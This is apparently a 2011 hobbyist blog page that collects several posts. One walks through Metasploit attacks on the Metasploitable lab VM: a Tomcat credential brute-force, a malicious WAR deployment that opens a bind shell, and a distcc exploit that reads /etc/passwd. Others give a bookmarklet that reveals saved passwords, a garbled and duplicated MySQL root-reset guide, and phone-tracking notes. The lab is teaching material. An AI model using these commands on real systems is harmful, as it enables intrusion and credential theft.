Thanks...
Tuesday, February 22, 2011
Metasploitable Linux virtual machine...
One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.
You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.
Here are a couple of the things you can do with it in msfconsole:
Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):
msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit
...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'
Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:
msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500
Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':
use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...
[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
Code exec!
It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):
Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), you can see that it uses the SSH keyfiles to obtain access to the box:
To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center. See the README.txt here for additional information, but be aware, there are spoilers in it.
Enjoy!
How to see passwords hidden behind asterisks?
For some reason if you don’t remember the password used to login to your google accounts or any other, and want to get back the hidden password, there is an easy way to view those passwords hidden behind the asterisk (*) characters.
You might have given the option to save the password for that particular site when your browser asked, the first time while entering the user name and password while logging in. The browser will automatically display the password if you have saved it before and you only need to press the login button. But if you need to know / don’t remember the password that is hidden behind the asterisk characters here is dead simple way to see those passwords quickly.
For firefox users, there’s always the option to see saved passwords. But this trick is far more simple than that and works on Internet Explorer, Firefox, Google Chrome, Netscape, Safari and Opera. Here’s what you have to do.
Visit the login screen of the desired website.

The browser will automatically shown the passwords in the fields, but will be hidden with the asterisks characters.
Now, Copy and paste the following code in your address bar and press enter.
javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "n"; } } if (s) alert("Passwords in forms on this page:nn" + s); else alert("There are no passwords in forms on this page.");})();The password will now be shown in a small window.

Tip: Always note down the important passwords of your online accounts in a piece of paper and keep it safely. Never leave the passwords for the browsers to remember.
Thanks....
How do reset MySQL root password?
Here is the very simple and effective way to hack/reset MySQL root password....
The Mysql root password can be set using the following procedure:
1. Stop the MySQL service:
Example output:
2. Start MySQLwith:
On Red Hat Enterprise Linux 5, safe_mysqld has been changed to mysqld_safe.
Note: safe_mysqld is a shell script which invokes mysqld, but additionally traps any forceful terminations of the MySQL server and avoids any database corruption.
3. Change the password of the root user:
# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('new_password') WHERE user='root'
mysql> FLUSH PRIVILEGES;
mysql> exit;
4. You could perform Step 1 here and avoid using Step 4, but in some cases, the startup script may not behave as expected since mysqld was started directly, i.e. not using the init script.
5. Start the MySQL service:
Example output:
The Mysql root password can be set using the following procedure:
1. Stop the MySQL service:
# service mysqld stop
Example output:
#service mysqld stop
Stopping MySQL: [OK]
2. Start MySQLwith:
# /usr/bin/safe_mysqld --skip-grant-tables &
On Red Hat Enterprise Linux 5, safe_mysqld has been changed to mysqld_safe.
Note: safe_mysqld is a shell script which invokes mysqld, but additionally traps any forceful terminations of the MySQL server and avoids any database corruption.
3. Change the password of the root user:
# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('new_password') WHERE user='root'
mysql> FLUSH PRIVILEGES;
mysql> exit;
4. You could perform Step 1 here and avoid using Step 4, but in some cases, the startup script may not behave as expected since mysqld was started directly, i.e. not using the init script.
# mysqladmin shutdown
5. Start the MySQL service:
# service mysqld start
Example output:
# service mysqld start
Starting MySQL: [ OK ]
Monday, February 21, 2011
Command Prompt Tips & Tricks or Hacks...
There are lot of command prompt tricks and tips which many of us don't know about. Command prompt can be very useful if you know how to use.
Just go to cmd and check the following cool commands
1. systeminfo
With this command, you can retrieve the following information:
Host Name
OS Name
OS Version
OS Manufacturer
OS Configuration
OS Build Type
Registered Owner etc
2. driverquery
Get Installed Driver Information
3. ipconfig /all
information about your network connection and IP address
4. subst W: C:\windows
Map A Drive Letter to a Folder
5. tasklist
List All Tasks Running On The Computer
6. taskkill /im programnames.exe /f
to Kill A Program
There are many other also will update soon
Thanks...
How to track Mobile - Cell phone using Google maps?
Did you know that your mobile phone sends out details on your whereabouts every second to the world? If you haven’t heard of it, then its high time to realize that the cell phone in your pocket is tracking every move of yours and sharing the data with third party apps. Just like a GPS system or any other much powerful and better system, it is tracking your every move. S60 (Symbian 60) based mobile phones report location using cell tower based location tracking system and it is possible to trace the location on Google maps.
Install ‘Google maps’ on any S60 based mobile phone (like Nokia E51, E71, N73, N96) and press the option “My Location” from the “Options” menu. It will show you the location within 100 meters to 2 km depending on the cell tower and network availability. In places where there is good connectivity, it will track you down more efficiently than any GPS device, which won’t work indoor.
“Google maps” is distributed free by Google and you can install it without any hassle by visiting
. All you need is an active GPRS/ EDGE /3G connection to make it work. Nokia maps and other mapping software do not have this feature and it works only via a GPS device at the moment.
Give it a try.
What does it mean to Google? Why they want to track mobile users?
Google as always wants to sell its advertisements through all mediums practically possible. The multi billion giant wants to know ‘what you want’ (Google search); ‘what you do’ (Gmail, Calendar, Docs etc); what you see- ‘(YouTube) to sell their so called targeted ads. Imagine the possibility of displaying the ads about your local coffee shop on your mobile; imagine the reach and relevance of the advts you will be seeing. So they are simply enhancing their ‘free’ software and want to track you even without GPS
Is it possible to track a GSM/ CDMA cellular phone? Is there a software in market which tracking the location of the phone? Is it possible to track lost mobile?
The one word answer is YES and the descriptive answer is as follows
Tracking cell phone without any software
Any GSM/ CDMA cellular service providers can pin point the location of the users within a certain area. Every few minutes cell phone sends the signal back to the service provider announcing the location of the handset. The nearest cell/ mobile tower picks the signal and alerts the central server that the user is within that certain cell site and all calls should be routed to that site. The same information can be used by service providers to track the cell phone. Though they won’t publish the information publically, they used to co-operate with law enforcement officers to track suspicious mobile numbers.
Tracking cell phone with software
Companies like this
http://www.microlmts.netPowered with the above information we can contact law enforcement officers to track the location of the cell phone. This is not a foul proof method as it’s quite possible that the person who took the phone can start the phone without a SIM card and then format the phone memory to wipe out any existing software or data. (Without SIM card means no SMS sent out)
Using IMEI number
International Mobile Equipment Identity or the IMEI number can also be used to track stolen cell phone if we are getting good support from law enforcement officers and service providers. Each GSM mobile phone has a unique number which is called IMEI number. The service provider keeps track of this number to identify the phone in the network.
Suppose if the phone is stolen and we are giving the instruction in writing to all the service providers to track the cell phone, the providers can easily find the location or disable the phone to function in that particular network. This makes the phone practically useless and thereby discourages further theft.
But for this method we need lot of support from the service providers. As every city might be having 6-10 providers and each of them having its on rules, it will be a haunting process to make it work.
Other than that there are no viable solution available at the moment which tracks the location of the cell phone on a GSM or a CDMA network
Thanks...
Subscribe to:
Posts (Atom)
Tuesday, February 22, 2011
Anu









